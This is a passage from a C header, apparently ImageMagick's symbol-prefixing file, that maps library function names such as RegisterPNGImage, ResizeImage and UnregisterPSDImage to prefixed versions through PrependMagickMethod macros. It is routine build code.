PrependMagickMethod(RegisterBMPImage) #define RegisterBRAILLEImage PrependMagickMethod(RegisterBRAILLEImage) #define RegisterCALSImage PrependMagickMethod(RegisterCALSImage) #define RegisterCAPTIONImage PrependMagickMethod(RegisterCAPTIONImage) #define RegisterCINImage PrependMagickMethod(RegisterCINImage) #define RegisterCIPImage PrependMagickMethod(RegisterCIPImage) #define RegisterCLIPImage PrependMagickMethod(RegisterCLIPImage) #define RegisterCMYKImage PrependMagickMethod(RegisterCMYKImage) #define RegisterCUTImage PrependMagickMethod(RegisterCUTImage) #define RegisterDCMImage PrependMagickMethod(RegisterDCMImage) #define RegisterDDSImage PrependMagickMethod(RegisterDDSImage) #define RegisterDEBUGImage PrependMagickMethod(RegisterDEBUGImage) #define RegisterDIBImage PrependMagickMethod(RegisterDIBImage) #define RegisterDJVUImage PrependMagickMethod(RegisterDJVUImage) #define RegisterDNGImage PrependMagickMethod(RegisterDNGImage) #define RegisterDOTImage PrependMagickMethod(RegisterDOTImage) #define RegisterDPXImage PrependMagickMethod(RegisterDPXImage) #define RegisterEPTImage PrependMagickMethod(RegisterEPTImage) #define RegisterEXRImage PrependMagickMethod(RegisterEXRImage) #define RegisterFAXImage PrependMagickMethod(RegisterFAXImage) #define RegisterFITSImage PrependMagickMethod(RegisterFITSImage) #define RegisterGIFImage PrependMagickMethod(RegisterGIFImage) #define RegisterGRADIENTImage PrependMagickMethod(RegisterGRADIENTImage) #define RegisterGRAYImage PrependMagickMethod(RegisterGRAYImage) #define RegisterHALDImage PrependMagickMethod(RegisterHALDImage) #define RegisterHDRImage PrependMagickMethod(RegisterHDRImage) #define RegisterHEICImage PrependMagickMethod(RegisterHEICImage) #define RegisterHISTOGRAMImage PrependMagickMethod(RegisterHISTOGRAMImage) #define RegisterHRZImage PrependMagickMethod(RegisterHRZImage) #define RegisterHTMLImage PrependMagickMethod(RegisterHTMLImage) #define RegisterICONImage PrependMagickMethod(RegisterICONImage) #define RegisterINFOImage PrependMagickMethod(RegisterINFOImage) #define RegisterINLINEImage PrependMagickMethod(RegisterINLINEImage) #define RegisterIPLImage PrependMagickMethod(RegisterIPLImage) #define RegisterJBIGImage PrependMagickMethod(RegisterJBIGImage) #define RegisterJNXImage PrependMagickMethod(RegisterJNXImage) #define RegisterJP2Image PrependMagickMethod(RegisterJP2Image) #define RegisterJPEGImage PrependMagickMethod(RegisterJPEGImage) #define RegisterJSONImage PrependMagickMethod(RegisterJSONImage) #define RegisterLABELImage PrependMagickMethod(RegisterLABELImage) #define RegisterMACImage PrependMagickMethod(RegisterMACImage) #define RegisterMAGICKImage PrependMagickMethod(RegisterMAGICKImage) #define RegisterMagickInfo PrependMagickMethod(RegisterMagickInfo) #define RegisterMAPImage PrependMagickMethod(RegisterMAPImage) #define RegisterMASKImage PrependMagickMethod(RegisterMASKImage) #define RegisterMATImage PrependMagickMethod(RegisterMATImage) #define RegisterMATTEImage PrependMagickMethod(RegisterMATTEImage) #define RegisterMETAImage PrependMagickMethod(RegisterMETAImage) #define RegisterMIFFImage PrependMagickMethod(RegisterMIFFImage) #define RegisterMONOImage PrependMagickMethod(RegisterMONOImage) #define RegisterMPCImage PrependMagickMethod(RegisterMPCImage) #define RegisterMPRImage PrependMagickMethod(RegisterMPRImage) #define RegisterMSLImage PrependMagickMethod(RegisterMSLImage) #define RegisterMTVImage PrependMagickMethod(RegisterMTVImage) #define RegisterMVGImage PrependMagickMethod(RegisterMVGImage) #define RegisterNULLImage PrependMagickMethod(RegisterNULLImage) #define RegisterOTBImage PrependMagickMethod(RegisterOTBImage) #define RegisterPALMImage PrependMagickMethod(RegisterPALMImage) #define RegisterPANGOImage PrependMagickMethod(RegisterPANGOImage) #define RegisterPATTERNImage PrependMagickMethod(RegisterPATTERNImage) #define RegisterPCDImage PrependMagickMethod(RegisterPCDImage) #define RegisterPCLImage PrependMagickMethod(RegisterPCLImage) #define RegisterPCXImage PrependMagickMethod(RegisterPCXImage) #define RegisterPDBImage PrependMagickMethod(RegisterPDBImage) #define RegisterPDFImage PrependMagickMethod(RegisterPDFImage) #define RegisterPESImage PrependMagickMethod(RegisterPESImage) #define RegisterPGXImage PrependMagickMethod(RegisterPGXImage) #define RegisterPICTImage PrependMagickMethod(RegisterPICTImage) #define RegisterPIXImage PrependMagickMethod(RegisterPIXImage) #define RegisterPLASMAImage PrependMagickMethod(RegisterPLASMAImage) #define RegisterPNGImage PrependMagickMethod(RegisterPNGImage) #define RegisterPNMImage PrependMagickMethod(RegisterPNMImage) #define RegisterPREVIEWImage PrependMagickMethod(RegisterPREVIEWImage) #define RegisterPS2Image PrependMagickMethod(RegisterPS2Image) #define RegisterPS3Image PrependMagickMethod(RegisterPS3Image) #define RegisterPSDImage PrependMagickMethod(RegisterPSDImage) #define RegisterPSImage PrependMagickMethod(RegisterPSImage) #define RegisterPWPImage PrependMagickMethod(RegisterPWPImage) #define RegisterRAWImage PrependMagickMethod(RegisterRAWImage) #define RegisterRGBImage PrependMagickMethod(RegisterRGBImage) #define RegisterRGFImage PrependMagickMethod(RegisterRGFImage) #define RegisterRLAImage PrependMagickMethod(RegisterRLAImage) #define RegisterRLEImage PrependMagickMethod(RegisterRLEImage) #define RegisterSCREENSHOTImage PrependMagickMethod(RegisterSCREENSHOTImage) #define RegisterSCRImage PrependMagickMethod(RegisterSCRImage) #define RegisterSCTImage PrependMagickMethod(RegisterSCTImage) #define RegisterSFWImage PrependMagickMethod(RegisterSFWImage) #define RegisterSGIImage PrependMagickMethod(RegisterSGIImage) #define RegisterSIXELImage PrependMagickMethod(RegisterSIXELImage) #define RegisterStaticModule PrependMagickMethod(RegisterStaticModule) #define RegisterStaticModules PrependMagickMethod(RegisterStaticModules) #define RegisterSTEGANOImage PrependMagickMethod(RegisterSTEGANOImage) #define RegisterSUNImage PrependMagickMethod(RegisterSUNImage) #define RegisterSVGImage PrependMagickMethod(RegisterSVGImage) #define RegisterTGAImage PrependMagickMethod(RegisterTGAImage) #define RegisterTHUMBNAILImage PrependMagickMethod(RegisterTHUMBNAILImage) #define RegisterTIFFImage PrependMagickMethod(RegisterTIFFImage) #define RegisterTILEImage PrependMagickMethod(RegisterTILEImage) #define RegisterTIMImage PrependMagickMethod(RegisterTIMImage) #define RegisterTTFImage PrependMagickMethod(RegisterTTFImage) #define RegisterTXTImage PrependMagickMethod(RegisterTXTImage) #define RegisterUILImage PrependMagickMethod(RegisterUILImage) #define RegisterUndefinedImage PrependMagickMethod(RegisterUndefinedImage) #define RegisterURLImage PrependMagickMethod(RegisterURLImage) #define RegisterUYVYImage PrependMagickMethod(RegisterUYVYImage) #define RegisterVICARImage PrependMagickMethod(RegisterVICARImage) #define RegisterVIDEOImage PrependMagickMethod(RegisterVIDEOImage) #define RegisterVIDImage PrependMagickMethod(RegisterVIDImage) #define RegisterVIFFImage PrependMagickMethod(RegisterVIFFImage) #define RegisterVIPSImage PrependMagickMethod(RegisterVIPSImage) #define RegisterWBMPImage PrependMagickMethod(RegisterWBMPImage) #define RegisterWEBPImage PrependMagickMethod(RegisterWEBPImage) #define RegisterWPGImage PrependMagickMethod(RegisterWPGImage) #define RegisterXBMImage PrependMagickMethod(RegisterXBMImage) #define RegisterXCFImage PrependMagickMethod(RegisterXCFImage) #define RegisterXCImage PrependMagickMethod(RegisterXCImage) #define RegisterXImage PrependMagickMethod(RegisterXImage) #define RegisterXPMImage PrependMagickMethod(RegisterXPMImage) #define RegisterXPSImage PrependMagickMethod(RegisterXPSImage) #define RegisterXWDImage PrependMagickMethod(RegisterXWDImage) #define RegisterYCBCRImage PrependMagickMethod(RegisterYCBCRImage) #define RegisterYUVImage PrependMagickMethod(RegisterYUVImage) #define RegistryComponentGenesis PrependMagickMethod(RegistryComponentGenesis) #define RegistryComponentTerminus PrependMagickMethod(RegistryComponentTerminus) #define RelinquishAlignedMemory PrependMagickMethod(RelinquishAlignedMemory) #define RelinquishDistributePixelCache PrependMagickMethod(RelinquishDistributePixelCache) #define RelinquishMagickMatrix PrependMagickMethod(RelinquishMagickMatrix) #define RelinquishMagickMemory PrependMagickMethod(RelinquishMagickMemory) #define RelinquishMagickResource PrependMagickMethod(RelinquishMagickResource) #define RelinquishSemaphoreInfo PrependMagickMethod(RelinquishSemaphoreInfo) #define RelinquishUniqueFileResource PrependMagickMethod(RelinquishUniqueFileResource) #define RelinquishVirtualMemory PrependMagickMethod(RelinquishVirtualMemory) #define RemapImage PrependMagickMethod(RemapImage) #define RemapImages PrependMagickMethod(RemapImages) #define RemoteDisplayCommand PrependMagickMethod(RemoteDisplayCommand) #define RemoveDuplicateLayers PrependMagickMethod(RemoveDuplicateLayers) #define RemoveElementByValueFromLinkedList PrependMagickMethod(RemoveElementByValueFromLinkedList) #define RemoveElementFromLinkedList PrependMagickMethod(RemoveElementFromLinkedList) #define RemoveEntryFromHashmap PrependMagickMethod(RemoveEntryFromHashmap) #define RemoveFirstImageFromList PrependMagickMethod(RemoveFirstImageFromList) #define RemoveImageArtifact PrependMagickMethod(RemoveImageArtifact) #define RemoveImageFromList PrependMagickMethod(RemoveImageFromList) #define RemoveImageOption PrependMagickMethod(RemoveImageOption) #define RemoveImageProfile PrependMagickMethod(RemoveImageProfile) #define RemoveImageProperty PrependMagickMethod(RemoveImageProperty) #define RemoveImageRegistry PrependMagickMethod(RemoveImageRegistry) #define RemoveLastElementFromLinkedList PrependMagickMethod(RemoveLastElementFromLinkedList) #define RemoveLastImageFromList PrependMagickMethod(RemoveLastImageFromList) #define RemoveNodeByValueFromSplayTree PrependMagickMethod(RemoveNodeByValueFromSplayTree) #define RemoveNodeFromSplayTree PrependMagickMethod(RemoveNodeFromSplayTree) #define RemoveZeroDelayLayers PrependMagickMethod(RemoveZeroDelayLayers) #define ReplaceImageInList PrependMagickMethod(ReplaceImageInList) #define ReplaceImageInListReturnLast PrependMagickMethod(ReplaceImageInListReturnLast) #define ResampleImage PrependMagickMethod(ResampleImage) #define ResamplePixelColor PrependMagickMethod(ResamplePixelColor) #define ResetHashmapIterator PrependMagickMethod(ResetHashmapIterator) #define ResetImageArtifactIterator PrependMagickMethod(ResetImageArtifactIterator) #define ResetImageAttributeIterator PrependMagickMethod(ResetImageAttributeIterator) #define ResetImageOptionIterator PrependMagickMethod(ResetImageOptionIterator) #define ResetImageOptions PrependMagickMethod(ResetImageOptions) #define ResetImagePage PrependMagickMethod(ResetImagePage) #define ResetImagePixels PrependMagickMethod(ResetImagePixels) #define ResetImageProfileIterator PrependMagickMethod(ResetImageProfileIterator) #define ResetImagePropertyIterator PrependMagickMethod(ResetImagePropertyIterator) #define ResetImageRegistryIterator PrependMagickMethod(ResetImageRegistryIterator) #define ResetLinkedListIterator PrependMagickMethod(ResetLinkedListIterator) #define ResetMagickMemory PrependMagickMethod(ResetMagickMemory) #define ResetMaxMemoryRequest PrependMagickMethod(ResetMaxMemoryRequest) #define ResetPixelCacheEpoch PrependMagickMethod(ResetPixelCacheEpoch) #define ResetQuantumState PrependMagickMethod(ResetQuantumState) #define ResetSplayTreeIterator PrependMagickMethod(ResetSplayTreeIterator) #define ResetSplayTree PrependMagickMethod(ResetSplayTree) #define ResetStringInfo PrependMagickMethod(ResetStringInfo) #define ResetTimer PrependMagickMethod(ResetTimer) #define ResetVirtualAnonymousMemory PrependMagickMethod(ResetVirtualAnonymousMemory) #define ResizeImage PrependMagickMethod(ResizeImage) #define ResizeMagickMemory PrependMagickMethod(ResizeMagickMemory) #define ResizeQuantumMemory PrependMagickMethod(ResizeQuantumMemory) #define ResourceComponentGenesis PrependMagickMethod(ResourceComponentGenesis) #define ResourceComponentTerminus PrependMagickMethod(ResourceComponentTerminus) #define ReverseImageList PrependMagickMethod(ReverseImageList) #define RGBTransformImage PrependMagickMethod(RGBTransformImage) #define RollImage PrependMagickMethod(RollImage) #define RotateImage PrependMagickMethod(RotateImage) #define RotationalBlurImageChannel PrependMagickMethod(RotationalBlurImageChannel) #define RotationalBlurImage PrependMagickMethod(RotationalBlurImage) #define SampleImage PrependMagickMethod(SampleImage) #define SanitizeString PrependMagickMethod(SanitizeString) #define ScaleGeometryKernelInfo PrependMagickMethod(ScaleGeometryKernelInfo) #define ScaleImage PrependMagickMethod(ScaleImage) #define ScaleKernelInfo PrependMagickMethod(ScaleKernelInfo) #define ScaleResampleFilter PrependMagickMethod(ScaleResampleFilter) #define SeedPseudoRandomGenerator PrependMagickMethod(SeedPseudoRandomGenerator) #define SeekBlob PrependMagickMethod(SeekBlob) #define SegmentImage PrependMagickMethod(SegmentImage) #define SelectiveBlurImageChannel PrependMagickMethod(SelectiveBlurImageChannel) #define SelectiveBlurImage PrependMagickMethod(SelectiveBlurImage) #define SemaphoreComponentGenesis PrependMagickMethod(SemaphoreComponentGenesis) #define SemaphoreComponentTerminus PrependMagickMethod(SemaphoreComponentTerminus) #define SeparateImageChannel PrependMagickMethod(SeparateImageChannel) #define SeparateImage PrependMagickMethod(SeparateImage) #define SeparateImages PrependMagickMethod(SeparateImages) #define SepiaToneImage PrependMagickMethod(SepiaToneImage) #define SetBlobExempt PrependMagickMethod(SetBlobExempt) #define SetBlobExtent PrependMagickMethod(SetBlobExtent) #define SetCacheThreshold PrependMagickMethod(SetCacheThreshold) #define SetCacheViewPixels PrependMagickMethod(SetCacheViewPixels) #define SetCacheViewStorageClass PrependMagickMethod(SetCacheViewStorageClass) #define SetCacheViewVirtualPixelMethod PrependMagickMethod(SetCacheViewVirtualPixelMethod) #define SetClientName PrependMagickMethod(SetClientName) #define SetClientPath PrependMagickMethod(SetClientPath) #define SetErrorHandler PrependMagickMethod(SetErrorHandler) #define SetExceptionInfo PrependMagickMethod(SetExceptionInfo) #define SetFatalErrorHandler PrependMagickMethod(SetFatalErrorHandler) #define SetGeometryInfo PrependMagickMethod(SetGeometryInfo) #define SetGeometry PrependMagickMethod(SetGeometry) #define SetHeadElementInLinkedList PrependMagickMethod(SetHeadElementInLinkedList) #define SetImageAlphaChannel PrependMagickMethod(SetImageAlphaChannel) #define SetImageArtifact PrependMagickMethod(SetImageArtifact) #define SetImageAttribute PrependMagickMethod(SetImageAttribute) #define SetImageBackgroundColor PrependMagickMethod(SetImageBackgroundColor) #define SetImageChannelDepth PrependMagickMethod(SetImageChannelDepth) #define SetImageChannels PrependMagickMethod(SetImageChannels) #define SetImageClipMask PrependMagickMethod(SetImageClipMask) #define SetImageColor PrependMagickMethod(SetImageColor) #define SetImageColorspace PrependMagickMethod(SetImageColorspace) #define SetImageDepth PrependMagickMethod(SetImageDepth) #define SetImageExtent PrependMagickMethod(SetImageExtent) #define SetImageGray PrependMagickMethod(SetImageGray) #define SetImageInfoBlob PrependMagickMethod(SetImageInfoBlob) #define SetImageInfoFile PrependMagickMethod(SetImageInfoFile) #define SetImageInfo PrependMagickMethod(SetImageInfo) #define SetImageInfoProgressMonitor PrependMagickMethod(SetImageInfoProgressMonitor) #define SetImageList PrependMagickMethod(SetImageList) #define SetImageMask PrependMagickMethod(SetImageMask) #define SetImageMonochrome PrependMagickMethod(SetImageMonochrome) #define SetImageOpacity PrependMagickMethod(SetImageOpacity) #define SetImageOption PrependMagickMethod(SetImageOption) #define SetImagePixels PrependMagickMethod(SetImagePixels) #define SetImage PrependMagickMethod(SetImage) #define SetImageProfile PrependMagickMethod(SetImageProfile) #define SetImageProgressMonitor PrependMagickMethod(SetImageProgressMonitor) #define SetImageProgress PrependMagickMethod(SetImageProgress) #define SetImageProperty PrependMagickMethod(SetImageProperty) #define SetImageRegistry PrependMagickMethod(SetImageRegistry) #define SetImageStorageClass PrependMagickMethod(SetImageStorageClass) #define SetImageType PrependMagickMethod(SetImageType) #define SetImageViewDescription PrependMagickMethod(SetImageViewDescription) #define SetImageViewIterator PrependMagickMethod(SetImageViewIterator) #define SetImageViewThreads PrependMagickMethod(SetImageViewThreads) #define SetImageVirtualPixelMethod PrependMagickMethod(SetImageVirtualPixelMethod) #define SetLogEventMask PrependMagickMethod(SetLogEventMask) #define SetLogFormat PrependMagickMethod(SetLogFormat) #define SetLogMethod PrependMagickMethod(SetLogMethod) #define SetLogName PrependMagickMethod(SetLogName) #define SetMagickAlignedMemoryMethods PrependMagickMethod(SetMagickAlignedMemoryMethods) #define SetMagickInfo PrependMagickMethod(SetMagickInfo) #define SetMagickMemoryMethods PrependMagickMethod(SetMagickMemoryMethods) #define SetMagickOpenCLEnvParam PrependMagickMethod(SetMagickOpenCLEnvParam) #define SetMagickPrecision PrependMagickMethod(SetMagickPrecision) #define SetMagickRegistry PrependMagickMethod(SetMagickRegistry) #define SetMagickResourceLimit PrependMagickMethod(SetMagickResourceLimit) #define SetMagickSecurityPolicy PrependMagickMethod(SetMagickSecurityPolicy) #define SetMagickThreadValue PrependMagickMethod(SetMagickThreadValue) #define SetMatrixElement PrependMagickMethod(SetMatrixElement) #define SetMonitorHandler PrependMagickMethod(SetMonitorHandler) #define SetPixelCacheMethods PrependMagickMethod(SetPixelCacheMethods) #define SetPixelCacheVirtualMethod PrependMagickMethod(SetPixelCacheVirtualMethod) #define SetQuantumAlphaType PrependMagickMethod(SetQuantumAlphaType) #define SetQuantumDepth PrependMagickMethod(SetQuantumDepth) #define SetQuantumEndian PrependMagickMethod(SetQuantumEndian) #define SetQuantumFormat PrependMagickMethod(SetQuantumFormat) #define SetQuantumImageType PrependMagickMethod(SetQuantumImageType) #define SetQuantumMinIsWhite PrependMagickMethod(SetQuantumMinIsWhite) #define SetQuantumPack PrependMagickMethod(SetQuantumPack) #define SetQuantumPad PrependMagickMethod(SetQuantumPad) #define SetQuantumQuantum PrependMagickMethod(SetQuantumQuantum) #define SetQuantumScale PrependMagickMethod(SetQuantumScale) #define SetRandomKey PrependMagickMethod(SetRandomKey) #define SetRandomSecretKey PrependMagickMethod(SetRandomSecretKey) #define SetRandomTrueRandom PrependMagickMethod(SetRandomTrueRandom) #define SetResampleFilterInterpolateMethod PrependMagickMethod(SetResampleFilterInterpolateMethod) #define SetResampleFilter PrependMagickMethod(SetResampleFilter) #define SetResampleFilterVirtualPixelMethod PrependMagickMethod(SetResampleFilterVirtualPixelMethod) #define SetSignatureDigest PrependMagickMethod(SetSignatureDigest) #define SetStreamInfoClientData PrependMagickMethod(SetStreamInfoClientData) #define SetStreamInfoMap PrependMagickMethod(SetStreamInfoMap) #define SetStreamInfoStorageType PrependMagickMethod(SetStreamInfoStorageType) #define SetStringInfoDatum PrependMagickMethod(SetStringInfoDatum) #define SetStringInfoLength PrependMagickMethod(SetStringInfoLength) #define SetStringInfoName PrependMagickMethod(SetStringInfoName) #define SetStringInfoPath PrependMagickMethod(SetStringInfoPath) #define SetStringInfo PrependMagickMethod(SetStringInfo) #define SetWarningHandler PrependMagickMethod(SetWarningHandler) #define SetXMLTreeAttribute PrependMagickMethod(SetXMLTreeAttribute) #define SetXMLTreeContent PrependMagickMethod(SetXMLTreeContent) #define ShadeImage PrependMagickMethod(ShadeImage) #define ShadowImage PrependMagickMethod(ShadowImage) #define SharpenImageChannel PrependMagickMethod(SharpenImageChannel) #define SharpenImage PrependMagickMethod(SharpenImage) #define ShaveImage PrependMagickMethod(ShaveImage) #define ShearImage PrependMagickMethod(ShearImage) #define ShearRotateImage PrependMagickMethod(ShearRotateImage) #define ShiftImageList PrependMagickMethod(ShiftImageList) #define ShowKernelInfo PrependMagickMethod(ShowKernelInfo) #define ShredFile PrependMagickMethod(ShredFile) #define ShredMagickMemory PrependMagickMethod(ShredMagickMemory) #define SigmoidalContrastImageChannel PrependMagickMethod(SigmoidalContrastImageChannel) #define SigmoidalContrastImage PrependMagickMethod(SigmoidalContrastImage) #define SignatureImage PrependMagickMethod(SignatureImage) #define SimilarityImage PrependMagickMethod(SimilarityImage) #define SimilarityMetricImage PrependMagickMethod(SimilarityMetricImage) #define sixel_decode PrependMagickMethod(sixel_decode) #define sixel_output_create PrependMagickMethod(sixel_output_create) #define SizeBlob PrependMagickMethod(SizeBlob) #define SketchImage PrependMagickMethod(SketchImage) #define SmushImages PrependMagickMethod(SmushImages) #define SolarizeImageChannel PrependMagickMethod(SolarizeImageChannel) #define SolarizeImage PrependMagickMethod(SolarizeImage) #define SortColormapByIntensity PrependMagickMethod(SortColormapByIntensity) #define SparseColorImage PrependMagickMethod(SparseColorImage) #define SpliceImageIntoList PrependMagickMethod(SpliceImageIntoList) #define SpliceImageList PrependMagickMethod(SpliceImageList) #define SpliceImage PrependMagickMethod(SpliceImage) #define SplitImageList PrependMagickMethod(SplitImageList) #define SplitStringInfo PrependMagickMethod(SplitStringInfo) #define SpreadImage PrependMagickMethod(SpreadImage) #define sRGBCompandor PrependMagickMethod(sRGBCompandor) #define StartTimer PrependMagickMethod(StartTimer) #define StatisticImageChannel PrependMagickMethod(StatisticImageChannel) #define StatisticImage PrependMagickMethod(StatisticImage) #define SteganoImage PrependMagickMethod(SteganoImage) #define StereoAnaglyphImage PrependMagickMethod(StereoAnaglyphImage) #define StereoImage PrependMagickMethod(StereoImage) #define StreamImage PrependMagickMethod(StreamImage) #define StringInfoToHexString PrependMagickMethod(StringInfoToHexString) #define StringInfoToString PrependMagickMethod(StringInfoToString) #define StringToArgv PrependMagickMethod(StringToArgv) #define StringToArrayOfDoubles PrependMagickMethod(StringToArrayOfDoubles) #define StringToken PrependMagickMethod(StringToken) #define StringToList PrependMagickMethod(StringToList) #define StringToStringInfo PrependMagickMethod(StringToStringInfo) #define StringToStrings PrependMagickMethod(StringToStrings) #define StripImage PrependMagickMethod(StripImage) #define Strip PrependMagickMethod(Strip) #define StripString PrependMagickMethod(StripString) #define SubstituteString PrependMagickMethod(SubstituteString) #define SwirlImage PrependMagickMethod(SwirlImage) #define SyncAuthenticPixelCacheNexus PrependMagickMethod(SyncAuthenticPixelCacheNexus) #define SyncAuthenticPixels PrependMagickMethod(SyncAuthenticPixels) #define SyncCacheViewAuthenticPixels PrependMagickMethod(SyncCacheViewAuthenticPixels) #define SyncCacheViewPixels PrependMagickMethod(SyncCacheViewPixels) #define SyncCacheView PrependMagickMethod(SyncCacheView) #define SyncImageList PrependMagickMethod(SyncImageList) #define SyncImagePixelCache PrependMagickMethod(SyncImagePixelCache) #define SyncImagePixels PrependMagickMethod(SyncImagePixels) #define SyncImage PrependMagickMethod(SyncImage) #define SyncImageProfiles PrependMagickMethod(SyncImageProfiles) #define SyncImageSettings PrependMagickMethod(SyncImageSettings) #define SyncImagesSettings PrependMagickMethod(SyncImagesSettings) #define SyncNextImageInList PrependMagickMethod(SyncNextImageInList) #define SystemCommand PrependMagickMethod(SystemCommand) #define TellBlob PrependMagickMethod(TellBlob) #define TemporaryFilename PrependMagickMethod(TemporaryFilename) #define TextureImage PrependMagickMethod(TextureImage) #define ThresholdImageChannel PrependMagickMethod(ThresholdImageChannel) #define ThresholdImage PrependMagickMethod(ThresholdImage) #define ThrowMagickExceptionList PrependMagickMethod(ThrowMagickExceptionList) #define ThrowMagickException PrependMagickMethod(ThrowMagickException) #define ThumbnailImage PrependMagickMethod(ThumbnailImage) #define TintImage PrependMagickMethod(TintImage) #define Tokenizer PrependMagickMethod(Tokenizer) #define TransferImageViewIterator PrependMagickMethod(TransferImageViewIterator) #define TransformColorspace PrependMagickMethod(TransformColorspace) #define TransformHSL PrependMagickMethod(TransformHSL) #define TransformImageColorspace PrependMagickMethod(TransformImageColorspace) #define TransformImage PrependMagickMethod(TransformImage) #define TransformImages PrependMagickMethod(TransformImages) #define TransformRGBImage PrependMagickMethod(TransformRGBImage) #define TranslateText PrependMagickMethod(TranslateText) #define TransparentImage PrependMagickMethod(TransparentImage) #define TransparentPaintImageChroma PrependMagickMethod(TransparentPaintImageChroma) #define TransparentPaintImage PrependMagickMethod(TransparentPaintImage) #define TransposeImage PrependMagickMethod(TransposeImage) #define TransverseImage PrependMagickMethod(TransverseImage) #define TrimImage PrependMagickMethod(TrimImage) #define TypeComponentGenesis PrependMagickMethod(TypeComponentGenesis) #define TypeComponentTerminus PrependMagickMethod(TypeComponentTerminus) #define UniqueImageColors PrependMagickMethod(UniqueImageColors) #define UnityAddKernelInfo PrependMagickMethod(UnityAddKernelInfo) #define UnlockSemaphoreInfo PrependMagickMethod(UnlockSemaphoreInfo) #define UnmapBlob PrependMagickMethod(UnmapBlob) #define UnregisterAAIImage PrependMagickMethod(UnregisterAAIImage) #define UnregisterARTImage PrependMagickMethod(UnregisterARTImage) #define UnregisterAVSImage PrependMagickMethod(UnregisterAVSImage) #define UnregisterBGRImage PrependMagickMethod(UnregisterBGRImage) #define UnregisterBMPImage PrependMagickMethod(UnregisterBMPImage) #define UnregisterBRAILLEImage PrependMagickMethod(UnregisterBRAILLEImage) #define UnregisterCALSImage PrependMagickMethod(UnregisterCALSImage) #define UnregisterCAPTIONImage PrependMagickMethod(UnregisterCAPTIONImage) #define UnregisterCINImage PrependMagickMethod(UnregisterCINImage) #define UnregisterCIPImage PrependMagickMethod(UnregisterCIPImage) #define UnregisterCLIPImage PrependMagickMethod(UnregisterCLIPImage) #define UnregisterCMYKImage PrependMagickMethod(UnregisterCMYKImage) #define UnregisterCUTImage PrependMagickMethod(UnregisterCUTImage) #define UnregisterDCMImage PrependMagickMethod(UnregisterDCMImage) #define UnregisterDDSImage PrependMagickMethod(UnregisterDDSImage) #define UnregisterDEBUGImage PrependMagickMethod(UnregisterDEBUGImage) #define UnregisterDIBImage PrependMagickMethod(UnregisterDIBImage) #define UnregisterDJVUImage PrependMagickMethod(UnregisterDJVUImage) #define UnregisterDNGImage PrependMagickMethod(UnregisterDNGImage) #define UnregisterDOTImage PrependMagickMethod(UnregisterDOTImage) #define UnregisterDPXImage PrependMagickMethod(UnregisterDPXImage) #define UnregisterEPTImage PrependMagickMethod(UnregisterEPTImage) #define UnregisterEXRImage PrependMagickMethod(UnregisterEXRImage) #define UnregisterFAXImage PrependMagickMethod(UnregisterFAXImage) #define UnregisterFITSImage PrependMagickMethod(UnregisterFITSImage) #define UnregisterGIFImage PrependMagickMethod(UnregisterGIFImage) #define UnregisterGRADIENTImage PrependMagickMethod(UnregisterGRADIENTImage) #define UnregisterGRAYImage PrependMagickMethod(UnregisterGRAYImage) #define UnregisterHALDImage PrependMagickMethod(UnregisterHALDImage) #define UnregisterHDRImage PrependMagickMethod(UnregisterHDRImage) #define UnregisterHEICImage PrependMagickMethod(UnregisterHEICImage) #define UnregisterHISTOGRAMImage PrependMagickMethod(UnregisterHISTOGRAMImage) #define UnregisterHRZImage PrependMagickMethod(UnregisterHRZImage) #define UnregisterHTMLImage PrependMagickMethod(UnregisterHTMLImage) #define UnregisterICONImage PrependMagickMethod(UnregisterICONImage) #define UnregisterINFOImage PrependMagickMethod(UnregisterINFOImage) #define UnregisterINLINEImage PrependMagickMethod(UnregisterINLINEImage) #define UnregisterIPLImage PrependMagickMethod(UnregisterIPLImage) #define UnregisterJBIGImage PrependMagickMethod(UnregisterJBIGImage) #define UnregisterJNXImage PrependMagickMethod(UnregisterJNXImage) #define UnregisterJP2Image PrependMagickMethod(UnregisterJP2Image) #define UnregisterJPEGImage PrependMagickMethod(UnregisterJPEGImage) #define UnregisterJSONImage PrependMagickMethod(UnregisterJSONImage) #define UnregisterLABELImage PrependMagickMethod(UnregisterLABELImage) #define UnregisterMACImage PrependMagickMethod(UnregisterMACImage) #define UnregisterMAGICKImage PrependMagickMethod(UnregisterMAGICKImage) #define UnregisterMagickInfo PrependMagickMethod(UnregisterMagickInfo) #define UnregisterMAPImage PrependMagickMethod(UnregisterMAPImage) #define UnregisterMASKImage PrependMagickMethod(UnregisterMASKImage) #define UnregisterMATImage PrependMagickMethod(UnregisterMATImage) #define UnregisterMATTEImage PrependMagickMethod(UnregisterMATTEImage) #define UnregisterMETAImage PrependMagickMethod(UnregisterMETAImage) #define UnregisterMIFFImage PrependMagickMethod(UnregisterMIFFImage) #define UnregisterMONOImage PrependMagickMethod(UnregisterMONOImage) #define UnregisterMPCImage PrependMagickMethod(UnregisterMPCImage) #define UnregisterMPRImage PrependMagickMethod(UnregisterMPRImage) #define UnregisterMSLImage PrependMagickMethod(UnregisterMSLImage) #define UnregisterMTVImage PrependMagickMethod(UnregisterMTVImage) #define UnregisterMVGImage PrependMagickMethod(UnregisterMVGImage) #define UnregisterNULLImage PrependMagickMethod(UnregisterNULLImage) #define UnregisterOTBImage PrependMagickMethod(UnregisterOTBImage) #define UnregisterPALMImage PrependMagickMethod(UnregisterPALMImage) #define UnregisterPANGOImage PrependMagickMethod(UnregisterPANGOImage) #define UnregisterPATTERNImage PrependMagickMethod(UnregisterPATTERNImage) #define UnregisterPCDImage PrependMagickMethod(UnregisterPCDImage) #define UnregisterPCLImage PrependMagickMethod(UnregisterPCLImage) #define UnregisterPCXImage PrependMagickMethod(UnregisterPCXImage) #define UnregisterPDBImage PrependMagickMethod(UnregisterPDBImage) #define UnregisterPDFImage PrependMagickMethod(UnregisterPDFImage) #define UnregisterPESImage PrependMagickMethod(UnregisterPESImage) #define UnregisterPGXImage PrependMagickMethod(UnregisterPGXImage) #define UnregisterPICTImage PrependMagickMethod(UnregisterPICTImage) #define UnregisterPIXImage PrependMagickMethod(UnregisterPIXImage) #define UnregisterPLASMAImage PrependMagickMethod(UnregisterPLASMAImage) #define UnregisterPNGImage PrependMagickMethod(UnregisterPNGImage) #define UnregisterPNMImage PrependMagickMethod(UnregisterPNMImage) #define UnregisterPREVIEWImage PrependMagickMethod(UnregisterPREVIEWImage) #define UnregisterPS2Image PrependMagickMethod(UnregisterPS2Image) #define UnregisterPS3Image PrependMagickMethod(UnregisterPS3Image) #define UnregisterPSDImage PrependMagickMethod(UnregisterPSDImage) #define UnregisterPSImage PrependMagickMethod(UnregisterPSImage) #define UnregisterPWPImage PrependMagickMethod(UnregisterPWPImage) #define UnregisterRAWImage 